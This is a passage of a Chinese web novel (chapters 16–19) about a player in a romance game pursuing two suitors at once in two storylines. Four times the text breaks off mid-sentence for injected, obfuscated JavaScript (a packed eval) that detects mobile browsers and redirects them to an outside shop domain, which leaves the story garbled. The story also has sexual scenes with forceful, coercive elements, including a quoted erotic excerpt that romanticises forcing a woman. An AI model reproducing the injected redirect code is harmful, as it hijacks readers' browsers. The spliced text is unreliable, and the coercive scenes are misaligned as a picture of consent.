“写字时,坐姿要挺胸收腹。握笔时,手要指实掌虚。练字时,速度宁慢勿快。” 方鸿渐声音轻柔,握着你的手一点一点的带着你写。 小满对待他这位先生,总是又敬又怕,就算不喜欢也只敢在背地里偷偷说。 而方鸿渐对待小满这个学生,从来也是不苟言笑,严厉有加。 可此时方鸿渐在你的面前,却是冰消雪融,纵使你写字再丑,也没说半句什么。 此时的方鸿渐,倒真像是个温柔又有耐心的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127387|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师。 如果他昨晚没有登堂入室,把你压在床上撕扯衣服的话。 方鸿渐到底怎么想的嘛! 你内心呐喊,表情麻木。 方鸿渐察觉到你有些低落的情绪,停下笔问你:“怎么了,是昨晚又没睡好?” 你:“……” 方鸿渐将笔放下,“怎么不说话?” 因为实在不知道说什么。 方鸿渐索性将你抱起放在书桌上。 你吓了一跳,他怎么老做这些惊世骇人之举。 方鸿渐也不说话了,直接搂住你亲。 亲了好久,你都要呼吸不上来了,方鸿渐还是不停。 现下你两条腿是分开夹着他的腰的,姿势暧昧得要死。 你实在顶不住了,挣扎着想往后退。 一退,便被拉了回来。 你贴他贴得更紧了。 空气里的纸墨香气被一点点掰开揉碎。 回去的时候,侍女指着你的裙子问:“小姐,你衣服上怎么染了墨?” 你低头一看,才发现裙摆那处有一大片斑驳的墨迹。 那是你在书房和方鸿渐胡搞时沾上的。 你面上一红,找借口说:“是我练字时不小心弄洒了墨。” “哎呀,怎么这么不小心,快进房里,让我替您换身衣裳吧。” 你干笑道:“不用了,我自己换就好。” 回到房里,你脱下弄脏了的衣服,看着自己身上大大小小的痕迹,不由叹了口气。 方鸿渐还算有理智,到底没跟你在书房搞到最后。 可男人压抑炙热的气息让你仍有后怕。 知道你脚踏两只船后,方鸿渐的态度始终不明,你不知道他到底怎么想的,只清楚再这么下去,这游戏真要没完没了了。 这两只船到底能不能同时踩,总要有个决断。 既然方鸿渐这边没有结论,那不如改从萧玉珩身上下手? 可是萧玉珩……你要怎么跟他说呢? 萧玉珩对你的情意,绝不比方鸿渐要少。 况且你和萧玉珩还是有着十几年情分的青梅竹马,如果被他知道了你出轨方鸿渐的事情,届时恐怕更难收场吧。 这也不行那也不行,你真是一个头两个大。 为什么给你来个女尊世界呢,这样你就有理由名正言顺的把两个男人都纳入后宫了。 不管怎么样,你还是先去探探萧玉珩口风吧! 你也不是一上来就放大招说出轨,你就用那“我有个朋友”的经典说辞,问问萧玉珩是怎么看待一个女人喜欢上两个男人,并且哪一个都不想放弃,还想跟两个男人同时在一起这件事的。 打定了主意,你便准备出门。 可你怎么也没想到的是,走到门口,你竟然被拦下了。 拦住你的人说,是老爷吩咐下来不让你出门的。 你问:“为什么?” 昨天你不才跟小满出去么,怎么今天就不行了。 拦你的人说他只是听老爷的命令行事,还请你回去,不要为难他。 你只好打道回府。 从今早开始,你心里那股不对劲的感觉愈发强烈,你总觉得有什么事要发生了。 你的预感是对的。 16. 两个都要 又隔了两日。 林老喊你过去谈话。 “父女俩”方见面,林老便向你投了个重磅消息。 “今早,玉珩来向我求亲了。” 你震惊,又想到那晚在巷子里,萧玉珩跟你说改日上门求亲,不是随口说的。 你问:“那……他人呢?” 林老喝了口茶水,“我叫他先回去了。” 你思忖道:“您没答应他?” 萧林两家向来交好,你和萧玉珩又是从小一块儿长大的,加上萧玉珩此人又是一表人才,按理来说,做父母的对这桩婚事应该是乐见其成的才对,而现在,林老的反应却是如此平淡。 这不合常理。 林老道:“我没拒绝。” 没答应,也没拒绝。 你不解,“您这是什么意思?” 林老缓缓道:“事实上,就在昨晚,方先生也来向我求亲了。” 你更震惊,“您是说,先生他也……”方鸿渐这是出的哪一招,竟然不声不响的跑去求亲了。 林老看你一眼,“你难道不高兴么?” 你应该感到高兴么? 顿了顿,林老又说:“当日你来求我,说想和小满一起上课,我以为你对方先生也是有意的。” 你说呢,怎么一来就跟小满一块儿上课了,原来是“你”为了更接近方鸿渐,特地去向林老求的恩准。 你低头说:“事情突然,女儿只是……一时没反应过来。” 林老叹了口气,说:“按常理,这些事应交由你母亲来替你安排,可惜你母亲去的早,有些话便不得不由我来说。” “如今四下无人,只有我们父女俩,小春,你同爹说句实话,玉珩和方先生,你到底属意哪个?” “我……” 你要怎么说? 该说是萧玉珩。 还是说方鸿渐。 你还没想出个所以然,林老却是语出惊人。 “要是你两个都喜欢,那也不打紧。” “……啊?”你目瞪口呆。 你,没听错吧? 你这个爹刚刚说的意思是,就算你同时喜欢萧玉珩和方鸿渐,也没关系? 林老并没有正面解释,转而道:“自古以来,士农工商,商为最末。我能看得出来,方先生是个有才华的人,来年开春赴京赶考,虽说不一定能高中状元,但挣个一官半职应该不成问题。况且方先生仪表不凡,品行端正,你若能嫁与他为妻,我自是再高兴不过。” “可京城离此山长水远,他这一去,不知几何。我又念着,届时方先生若真榜上题名,京城的繁华不知会否乱了他的心。” 你明白了。 你接道:“所以,这就是您既没答应萧玉珩,却又不拒绝他的原因了。” 在林老心里,方鸿渐是士,萧玉珩是商,商比士贱,如果可以,他当然希望能把女儿嫁给更贵的士。 可说到底,他林家也不过小门小户,现在方鸿渐清贫,他家的女儿配方鸿渐当然是绰绰有余。可若有朝一日,方鸿渐得了势呢?见过京城繁花似锦,还看得上林家么? 不要说什么方鸿渐为人正直,断不会做出如此忘恩负义之举,古往今来,薄情多是读书人。 林老虽有私心,到底也是为女儿着想。所以,他为女儿留了一条后路。 这条后路便是萧玉珩。 林老今日没有拒绝萧玉珩,便是为了来日就算方鸿渐负心,你也还有萧玉珩这条路可以选。 林老道:“父母之爱子,则为之计谋深远。” 你问:“那……对先生的求亲,您又是怎么回答的?” “我同方先生说,你虽已过及笄,但年纪到底还小,我不舍得让你过早嫁人。况且来年开春,他便要进京了,若你二人成婚不久便分隔两地,于里于外都不好听。不如便先交换信物,行定亲之礼,且不要对外声张。等来日,他若榜上题名,又不忘旧日情谊,我再风风光光的替你二人举办婚礼。” 林老这番说辞倒是合情合理,叫人挑不出什么差错,可方鸿渐也不傻,他会不明白其中深意吗? “先生怎么说?” 林老又喝了口茶,“他答应了。” 方鸿渐竟然答应了。 林老又说:“他要我问你的想法。” 你的想法。 你该答应吗? 你有点乱,不知该如何作答。 “回去好好想想吧。”林老道。 你点头。 茫茫然走着,你深觉自己虽然是游戏的那一方,却总是被推着走,你不像以前看的那些小说里的女主一般,拥有过人的智力和谋略。 像现在,事情已经发展到了萧玉珩和方鸿渐分别求亲的地步,而林老让你先答应和方鸿渐定亲,留萧玉珩当备胎。 而方鸿渐本人似乎也并不介意林老这留有一手的做法,甚至还同意了,让林老来问你的意思。 故事中的主人公都有各自的想法,作为核心的你,却不知该怎么做了。 你努力分析,试图捋清思路。 现在,你已向方鸿渐透露了你有享齐人之福的想法,而他却转向林老求婚,就表明了他的立场。 他不想共享,他想独占。 萧玉珩还不知道你和方鸿渐的事情,也不知道方鸿渐早他一步向林老求婚,他还是被蒙在鼓里的。 纸是包不住火的,况且,以你的任务内容来看,他迟早都是要知道的。不然的话,你这三人行根本没办法成功。 你开始想起那双总是期盼着你的到来的桃花眼。 你又碰见了方鸿渐。 或许,你碰见他,不是巧合。 他也等了你很久。 “你去哪儿了?”方鸿渐问。 你说:“你不是都知道吗。”明知故问。 方鸿渐牵起你的手,“那你答应了吗?” 你反问:“小满是你支走的吗?” “是,也不是。”方鸿渐道:“小满和萧玉珩要好,若叫他知道你我之事,定会大闹一场。这时候要他走,我确实存了私心。可小满天资聪颖,我想向老师推荐他,也的确是真。” “那我爹不让我出门这件事呢?” 方鸿渐淡淡道:“那是林老爷做的决定。我只是向他表达了我对你的情意。” “你……” “我,怎么?” “没怎么。” 方鸿渐微微笑道:“我的想法你已经明白。你呢,还是放不下萧玉珩么?” “如果我说是呢?” “何必将问题反问我。”方鸿渐笑意渐深,“就算你想法真是如此,恐怕林老爷也不会同意了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127388|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方鸿渐深知自己的优势在哪儿,也知道林老现在是将宝压在了他身上。 既然如此,你干脆直说了,“我放不下萧玉珩。” 方鸿渐笑容僵住,“那我呢。” “我也放不下你。” 方鸿渐握紧你的手,“你知道么,就算你的心能分成两半,我也想要一颗完整的。” “……我做不到。” 沉默半晌,方鸿渐问:“萧玉珩可曾知道你的想法。” “我没告诉他。” “为什么?”方鸿渐试探,“不忍,还是不想。” “我不知道怎么说。” “不知道……”方鸿渐停住,又道:“那现在,便知道了。” “什么?” 萧玉珩,不知何时出现在了你们面前。 你们牵在一起的手,仿佛一把锐利的刀刺入他眼中。 你下意识甩开方鸿渐。 萧玉珩两眼一红,转身离开。 他今早来向林老求亲未得应允,一定会再找时间来问个清楚。 而你刚从林老那处出来,便碰上了在此等候的方鸿渐。 “你故意的?”你不得不怀疑。 方鸿渐道:“他总归要知道的,不是么。” 是。 局面越来越乱了。 你想先去找萧玉珩。 方鸿渐恳求你别去。 可你还是去了。 萧玉珩走得并不快,他也在期待你能追上来,期待你能给他解释。 可事实是无可解释的。 你追上他,是要把实情一一向他说明。 萧玉珩听着你和方鸿渐的点滴,只是问:“为什么?” “我……”因为系统给你的背景就是这样的,“是我的问题,我知道自己这种做法不对,但等我回过神的时候,已经迟了。” “所以,你现在喜欢的人是他。” “不,还有你。” 萧玉珩有些惊讶,“什么?” 你觉得这情形真是太尴尬了,真的太尴尬了,可是你还是接着往下说:“我喜欢他的同时,也喜欢你。” 萧玉珩缓了一会儿,才确认自己没有听错,他面上难免露出复杂的神情。 “你是说,你,喜欢我们两个。” 你僵硬的点头,“对。” 萧玉珩又缓了会儿,“你说伯父现在想让你和方鸿渐定亲,你答应了吗?” “没有。” “……那你怎么打算。” “你们两个,”你深呼吸一口气,“我都想要。” 萧玉珩愣住。 你想继续发表你的渣女言论。 但还没等你说话,萧玉珩便先行打断,“先让我想想。” “萧玉珩,我……” “没事。”萧玉珩笑笑。 他的脸色有些苍白,甚至有些脆弱。 可他竟然在说没事。 萧玉珩说:“这件事对我来说太过突然了,我要回去再仔细想想,你也先回去,好么?” 你没理由说不好。 萧玉珩说的回去想想,不是推脱之词,他回去之后是真的仔细的想了。 想清楚以后,他约你和方鸿渐到镇上的茶楼一叙。 没错,萧玉珩不是单独约的你,他还约了方鸿渐。 17. 支线二:兄弟共妻 天气渐凉,天黑得越来越晚,日头的阳光也逐渐变得稀薄。 茶楼包厢里,三个人各有己见。 你坐在两个男人中间,心生感慨,电视剧都没这么演的。 “萧公子有什么话不妨直说。”方鸿渐先道。 “小春已经把事情都告诉我了。”萧玉珩道。 “哦。”方鸿渐面上平静无波。 萧玉珩嘴角扯出一抹笑,很淡,“我同意她的想法。” 同意她的想法,是说你的想法吗?你的什么想法? 你一怔,随即反应过来。 你还能有什么想法。 你的想法不就是要同时跟这两个男人处对象吗! 不是,萧玉珩说回去想想,这才过去了一晚上,他这么快就想通了,能接受自己女朋友跟他处的同时,和另一个男人在一起? 他这接受程度和速度也太快了吧! 不过,这也没什么不好,萧玉珩既然开口同意了,也就说明这个支线任务你已完成了一半。 剩下一半,就看方鸿渐是什么意思了。 方鸿渐也笑了,暗藏讥讽,“萧公子倒是看得开。” 萧玉珩看了你一眼,说道:“我和小春自幼相识,十几年的情谊,我是绝不会放下她的。” 十几年的情谊,这几个字,真是刺耳。 “条件呢?”方鸿渐道:“萧公子能这么快想通,想来是做好了准备的。” 还有条件? 你作为本轮游戏的女主角,此刻更像个吃瓜群众。 “我的条件是,小春不能与你定亲。” “萧公子是个很会为自己着想的人。但是,这对我有什么好处?” 征得林老同意和你定亲,本就是方鸿渐为自己谋来的筹码。若这个筹码也没了,等来年开春,赴京赶考,届时你俩分隔两地,锦书难托,方鸿渐还拿什么去赌你的心意? 萧玉珩抿唇道:“这已经是我能做出最大的让步了。若方先生不同意,今日,便让小春在你我二人间,做个决断吧。” 峰回路转,矛头指向了你。 好家伙,原来萧玉珩这是以退为进,逼迫你做选择。 两个男人定定看向你。 你如坐针毡,如芒在背,如鲠在喉。 “小春,你和他之间的事,我已不欲深究。但请你念在我们过去十几年的情分,不要轻易放弃我。”萧玉珩挽起你的手,乞求你能够回心转意。 方鸿渐冷道:“小春,你们十几年的情谊是真,我对你的一副心意便有假么?” 真,你俩都真。 你叹气,“要不,我让我爹改嫁他人好了。” 两个你都不要,这样就不用争争抢抢了。 你倒是撂摊子摆烂了,这话落在他二人却是如遭雷亟。 萧玉珩又惊又怕,“你还想找谁?” “哎呀,我不是想找谁,我就是……” “我同意你的想法。”方鸿渐忽然道。 “……诶?” “你不是哪一个都放不下么,既然如此,那便都在一起罢。” “诶?” “除了我和他,你不能再找第三个人。”方鸿渐盖棺定论,“还有,你要跟我定亲。” “不行!”萧玉珩立马反驳。 方鸿渐道:“萧公子,我很清楚你的想法,当然,你也很清楚我的想法。毕竟,一山难容二虎,不是么?” 萧玉珩咬牙不语。 “来年开春我便要上京了,我不可能不留一点保障就走。你可以拖着不让小春和我定亲,但同样的,我也有办法不让你和她走到一起。再或者,我们继续僵持下去,逼迫她做选择。” 话已经说得很清楚了,只待抉择。 “……好,我答应你。”萧玉珩最终道。 至此,你的任务就算完成了。 你还想理清一些细节,但系统没给你思考的时间,三人共识达成后,便匆匆将你投入了第二个支线任务中。 侯府。 枕书斋。 “按我说,都别争了,咱们仨一起过得了。” 这一轮的时间节点,停留在你为了让洛霖顺利说出“我爱你”,偷跑到枕书斋,随后洛骁找来,过程中,你脱口说出这句话的时候。 洛霖的反应仍是面红耳赤,“……胡闹!” 可洛骁的反应却与那时不同了,他听到你说三个人一起过的时候,当然也是有过怔愣的,但随即他的答案却是—— “好啊。” 洛霖不敢置信,“洛骁,你说什么?” 洛骁微微笑道:“不是说要三个人一起过吗?我说,好啊。” “你疯了!”洛霖是真觉得洛骁疯了。 你也感觉洛骁是不是出了点问题,不过,更让你感觉到意外的是,这次的任务才刚开始呢,你还没做什么,洛骁就点头同意了三人行。 这支线任务进行得……也太顺利了吧。 “我没疯,我是认真的。”洛骁说道:“其实这也不是什么惊世骇俗的事情,甚至在外邦,兄弟共妻都是常有。” “我中原王朝自古便是礼仪之邦,怎是外邦蛮人可以比较的,况且……” 况且什么,洛霖没有说下去。 洛骁道:“大哥,我知道你和小春情投意合,也知道若不是我出了意外,你俩本该是天造地设的一对。可不管如何,现在小春已经是我的妻子,是我的药,是她把我从病榻上救起,我爱她深入骨髓,若你执意将她从我身边带走,无疑是要了我的命。” “况且,就算小春真的离开我和你重新在一起,父母那边你要怎么解释?别人会怎么看待她?天底下人又会怎么看待侯府?” 洛霖无可辩驳。 洛骁没有追得太紧,而是说道:“我知道大哥饱读诗书,最重纲常,一时难以接受此事。这样吧,不如我们都给彼此一些时间,来重新适应这段关系,看看是否能够接受,怎么样?” 洛霖没有说好与不好。 洛骁当他默认了。 “小春,过来。”洛骁伸手向你。 洛霖应激似的,立即望向你。 你也望向洛霖。 两两相望。 你之所以选择先攻略萧玉珩、方鸿渐那关,其实是源于你喜好把好吃的留在最后的习惯,你想着,你都攻略洛霖三回了,对他总归比对其他人容易许多。 可也正由于你攻略了洛霖三回,让你比起其他人,不由得更关注他。 洛霖嘴唇苍白,面色也不大好,此刻的他,仿佛秋日枝头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127389|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇摇欲坠的一片叶子。 那喷涌而出的伤心,如潮水般席卷整个书斋。 洛骁最终还是拖着你走了。 夜晚。 “怎么看上去不大开心的样子。”洛骁抚摸你的头发,语气柔柔。 “……没。” “没有不开心的话,为什么不笑?”洛骁回忆道:“从前你与大哥在一起时,脸上总是笑着的。” 你无奈,咧出一个标准化的笑容,“可以了吧。” 洛骁笑了,“可以。” 你立马收回笑容。 洛骁笑意愈深。 这下换成你不知道他在笑什么了。 洛骁说:“我只是在想,老天总算待我不薄,在我人生最灰暗之际,将你送到了我身边。” “你知道么,小春,那时候我真以为自己要死了。我整日整日的躺在床上,浑身不能动弹,来为我诊治的每个大夫,每次都是面色严肃的来,又摇头叹气的走。娘过来看我,也总是哭个不停。那样子的日子里,我简直找不到活不下去的理由。我真宁愿一死,也总好过如此废物的活着。” “可你还是活下来了,不是么?”你说:“你能活下来,不是因为我,是因为你自己。” “我自己?” “对。因为你就算处在卧病在床,不能动弹,就连大夫都束手无策的时候,你仍旧坚持下来,没有放弃,所以最后你活了下来。” 洛骁愣了愣,忽然站起,面色激动道:“不,不,是因为有了你,我才能从床上坐起,到如今的行动自如。那个算命的说了,你是我命里注定的妻子,我的福星,没有你,我不可能过得了这关。” “什么算命,什么命里注定,那都是假的。一个人如果自己都放弃了自己,谁来救他都没有用。” “够了!” 洛骁愈发激动,浑身的血气一下涌了上来。这一刻,他面色是潮红的,可给人的感觉却是苍白的,他眼睛很亮,像有一簇阴暗的火苗在腾腾燃烧。 “你这么说,无非是想证明,你根本不是我的命定之人,你和大哥才是,你们才是天作之合,我什么都不是,对吗?” “怎么又说到洛霖身上去了。”不对,你是怎么跟洛骁吵起来的。头疼。 “因为今天你特地支开侍女,跑到了枕书斋找他!如果我没有及时赶到,你们是不是就要把我抛之脑后,到父母面前一诉情深了?” 呃,洛霖当时,是有这个想法来着。 你太阳穴突突跳,正想着要怎么应付洛骁呢,突然又想到,不对啊,从这家伙的反应来看,他明明是很介怀你跟洛霖的事的,可那会儿在枕书斋的时候,他又为什么会同意……嗯,兄弟共妻的事? 他到底在想什么啊? “看着我,小春,看着我。” 洛骁抓着你的肩膀,逼迫你看他的眼睛。 他眼里的火苗越烧越旺,惊人的热度几乎要灼伤了你。 “告诉我,你可曾对我有过一点喜欢,哪怕一点。” “我……” 应该是有的吧。 游戏的前情提示不就说了,你是同时喜欢上两个人的么。 可按照现在的剧情来看,你喜欢洛霖是确定无疑的,而洛骁……你暂时没有找到喜欢他的依据。 18. 喜欢他的证据 你的迟疑,如点滴的水,一点一点将他眼中的火熄灭。 洛骁嗤道:“说不出口,便是没有了。” 你开始痛恨自己这张破嘴,怎么非这个时候这么实诚,你可是在玩恋爱攻略游戏诶!你要让两个男人同时答应跟你在一起! 作为一个渣女,这个时候洛骁说什么你答什么不就好了,他问你喜不喜欢他,你就该说喜欢,别的什么先别管,把两兄弟中的一个稳住再说。 反应过来的你,想开口跟洛骁说我心里有你,可是已经迟了,洛骁不再给你说话的机会,他堵住了你的嘴。 用什么堵的? 当然是用他的嘴堵你的嘴。 那真是一个非常激烈的亲吻了。 愤恨交加的痛,求而不得的怨,通通在这一刻爆发。 你简直承受不住这泼天的情绪,你拼命撇过头想要争一口呼吸,却又被洛骁钳制住下巴拖回来。你挣扎着想要逃离,却直接被扒掉了衣服抱到床上。 这太刺激了。 你如狂风暴雨中的一叶扁舟,根本无力去抵抗。 模模糊糊间,你想,这游戏尺度还是挺大的,你才在上一个支线中被方鸿渐压,这下又被洛骁压。 而你第一次相关体验,还是第一关和洛霖成婚时。 你也不知怎的,在洛骁和你亲热的时候,竟往洛霖那处去想了。 你想,洛霖和洛骁,当真是很不同的罢。 在行事上,洛霖要温和多了,他很照顾你的感受,时不时便要停下来问你,这样可以吗?会不舒服吗?会不会痛? 甚至你都完全适应了,他仍旧还很害羞,有时候你想主动点,他都要躲到你脖颈里,把羞红的脸躲起来。可熟悉之后,得了趣了,男人天生的那点劣性又勾着他主动向你发起更为猛烈的进攻,这会儿可就轮不到你说事了,你只有求饶的份。 汗水模糊了双眼。 气息也变得浑浊。 你费力抬起手,抚摸着洛骁的眉眼。 在这可以称得上温情的时刻,忽然间的,洛骁心底里的伤和痛慢慢平息了下去,他歪头吻了吻你的手指,表情是无比的眷恋。 洛骁说同意三个人在一起,但到底怎么个一起法,他没说。 后面随着洛骁白天出门,晚上才回几天后,你稍微琢磨出来了一点意思。 这意思就是,白天的时间留给你和洛霖,晚上的时间就去你和他。 说来也有趣,按照现在的情况来说,你和洛骁是正儿八经拜过天地祖宗的真夫妻,你们理应在明才对,现在反而反了过来。 不过也有可能是,白天里人多闲杂,可以避免你和洛霖做些什么。 不管怎么说,现在洛骁是同意了三人行的,只有洛霖态度不明。为了取得洛霖这关键一票,你得到到他那儿去探探情况。 这天一早,洛骁照旧出了门去,采莲端上一碗热过的牛乳给你。 这牛乳你喝了有几天了,之前没怎么留意,今天倒是留意起来了,你便顺嘴问了一句这牛乳哪儿来的。 采莲怪道:“不就是小姐您替二少爷找来的么?” “我?” “是啊。”采莲点头道:“先前二少爷还未能下地行走的时候,小姐您听闻外邦人普遍比咱们中原人长得结实高大,都是因为自小习惯喝牛乳、吃牛肉的缘故。您看二少爷卧病在床久了,身子逐渐消瘦,怎么也不得好,便特地到外头寻了个专养牛的农户,叫他们每日早晨往侯府送新鲜牛乳。” “刚开始二少爷还不肯喝呢,说这牛乳味道腥得很,叫人难以下咽。您知道后又去学了个去腥味的法子,吩咐厨房将每日送来的新鲜牛乳先以小火煨至温热,再加小勺蜂蜜,几粒枸杞,弄得如同甜品般,这才让二少爷乖乖喝下。” 原来还有这么段渊源。 说起你和洛骁的曾经,采莲就跟打开了话匣子一样,滔滔不绝说起来。 “还不止如此呢,小姐您为了让二少爷好起来,当真是费了好多心思。不止是饮食上,生活起居您也是处处关心,可谓无微不至。您看二少爷成日在房里不能出去,便让工匠打造了一部素舆,每日推着他到花园散步,说是见见外头的太阳风景,能让心情舒畅,更有益于病情恢复。” “二少爷腿不能走,您就跟大夫学了套按摩手法,每天早晚各为二少爷按一次,您甚至还去学了针灸!呃,不过您针灸学得不大好,有次差点把二少爷针瘫了。” 你打哈哈,“这样么。” “是啊!还好大夫来得及时,这才没酿成大祸。侯夫人听闻此事后,还说了小姐,但期间二少爷一直替小姐说话,叫夫人不要责怪小姐,还说小姐只是头一次针灸,还没经验,等多扎两回熟手了就没问题了。” “夫人听罢,更生气了,说,”采莲模仿起当时的情景,摆出一副又严肃又惊怒的表情,“她第一次针灸就差点把你针瘫痪了,你还敢让她再针多几次?我看你这条命是不想要了!” 采莲这小丫头学起人来还挺有模有样的,你被逗笑了,说:“后面呢,夫人这么说后,二少爷什么反应?” 采莲嘟囔说:“小姐当时不也在场么,怎么还问我。” 你说:“嗯……当时夫人生气起来太吓人了,我没留意他们说了什么。” 采莲信了,“夫人那么说之后啊,二少爷也丝毫没有怯弱,反而是说……” ——儿子能恢复到如今这样,本就全是小春的功劳。若哪天当真死在她手下,也全当将这条命还给她是了。 洛骁这话,无疑是将命都给你了。 情意之重,令人惊叹。 面对如此情意,你不敢说一点动容都没有。 或许,这就是剧情里,你为什么会喜欢洛骁的原因吧。 你打算到枕书斋去找洛霖。 得知你有这个想法的采莲,看你的眼神都不对了,那表情仿佛在说:小姐啊,我才跟你讲完你和二少爷甜甜蜜蜜的过去,你转头就要去找大少爷? 对采莲这个你和洛骁的头号cp粉,你只能感到抱歉。 没办法,如果可以的话你也不想的,可是任务要求你脚踏两只船。 采莲试图拉住你,“小姐,再怎么说你也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127390|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯府公认的二夫人了呀,您这么贸然跑去找大少爷,要被底下的人看去了,指不定要惹出什么风言风语来!如果这些风言风语传到了侯爷和侯夫人的耳朵里,那更是了不得!” 你想了想,说:“没事。” 洛骁那个人,既然开口说了要三个人在一起,又特地留出了时间给你和洛霖相处,想必应该是暗地里安排好了的。 况且,这就是个游戏啊! 你就算惹出再大的风浪,也不过点击退出游戏而已。 于是,你就这么毫无负担的跑去找了洛霖。 这次洛霖见到你来,没有再表现出惊讶,转而多了些别的情绪。 那是种很复杂的情绪,你很难辨清。 “你来了。”洛霖说。 “嗯。”你轻轻应和。 有种沉默在书斋里弥漫。 干站着也是干站着,你索性在书斋走走看看。 这书斋挺大的,论面积是你大学宿舍的两倍。 书斋里的陈设很简单,除了洛霖看书写字的书案外,便是一排排书柜。 洛霖书有很多,大都是些正经书,例如什么论语春秋的,但也有几本例外。 你抽出那几本例外中的一本,看着封面上大书的几个字陷入了沉默。 宫廷风流秘史? 不信邪的你,又接连抽出几本,都是同样的风格,不同的是,这内容一本比一本劲爆。 你看向洛霖,啧啧称奇,“没想到你居然喜欢看这种书。” 同道中人啊! 洛霖脸一红,忙道:“我是见你喜欢,才找这些书回来的!” 你喜欢? 你一愣,你确实是很喜欢看某些带颜色的小文章。也许说出去别人不信,但外表老实内向的你,已经可以称得上是阅黄无数的老油条了。 反观洛霖这种正经死板的,反倒不像是会看这些的人。 可也正是正经死板的洛霖,愿意为了你放弃原则,知道你的喜好后不仅没有多加职责,反而还为你搜罗来许多书放在自己的书斋里。 “那你看过吗?” “什么?”洛霖反应过来,“当然没有。” “你看都没看过,怎么知道是我喜欢的类型?”你低头翻了几页一本名叫霸道王爷强占小厨娘的书,轻声念了段内容。 “……那王爷紧紧搂抱厨娘的腰,低头便欲吻去。厨娘哪肯就范,拼死挣扎,可到底挣扎不过,反倒被王爷借机解了衣裳,露出大片春光来。王爷素日见惯了温顺美人,厨娘这宁死不屈的野性儿倒正中他下怀。” 洛霖冲上来要夺书,你一个闪身躲过,越念越起劲儿了。 “厨娘挣扎得紧,王爷有心让她爽利一回,好叫她知道什么叫快活胜神仙,当下更是使尽浑身解数。果不然,厨娘很快便软下身子,娇喘吁吁……” “好了!别念了!” 到底是洛霖人高手长,一把将你手里那本霸道王爷强占小厨娘夺了过来。他一拿到手,立时就把书扔到一边,速度之快,态度之决绝,仿佛手里那都不是一本书,而是什么脏东西。 19. 我在梦里和你结过一次婚 你忍不住大笑起来。 笑过之后,又是无言。 你和洛霖面对面站着,你看他,他却低头不敢看你。 你不明白他为何做此姿态,可转念一想,又明白了,“你是不是介怀,那天我说的那件事?” 那天的那件事,就是你随口说三个人一起过,而洛骁同意了,且说给时间洛霖适应的事。 洛霖不愿说话。 你叹气,也是,他这种性子,会同意才怪了。 其实洛霖也没错,是这游戏出的题对寻常人来说都很难接受。第一个支线任务,你好似都没做什么,便浑水摸鱼的过了。这一次也是,你都还没反应过来,身为关键人物中的其中之一洛骁便同意了。 洛骁为什么会同意,你还没想明白。可洛霖不同意,却不是意料不到的事。 听你主动提起,洛霖更是眼眶一红。 他生得好看,如此这般委屈起来,更是楚楚动人。 似乎哪位名人曾说过,男人吸引女人的最大特质是他的脆弱性。 而现在依据你的心情,可能还要加上一句,如果这个男人貌比潘安,性质纯良,又出身高贵,他向来对事严肃,恪守陈规,却唯独在你面前显露出他的脆弱,那对大部分女人来说,更是莫大的吸引。 归根结底,或许用六个字来形容更恰当,那便是居上位者低头。当然,这也就是胡诌的一句话。但不论如何,洛霖这可怜可爱的模样,当真勾起了你的恻隐之心。 你忍不住放软了声音,哄着他似的,“怎么了?” 洛霖摇摇头。 你走过去,双手捧他的脸,入手是温凉的肌肤。 乌黑低垂的睫毛已然沾上露珠,仿佛雨天里被淋湿了羽翅的幼鸟那样无助。 洛霖怔了怔,随后道:“小春,我对不住你。” 你知道他所说是什么意思,便由他续说下去。 “是我太没用,才令事情落到这般境地。”他深深自责。 他至始至终,在意的都不是三人在一起的那个提议。他只是自责,是自己无能,竟使事情发展至如今,而不管是什么时候,他都没有找到办法去解决。 “那时,洛骁病情日益加重,就是皇上遣变了宫中太医来医治也都无济于事,束手无策下,父亲听闻城中有位观天象算命数很准的方士,便重金请他到侯府,为洛骁看命相。” 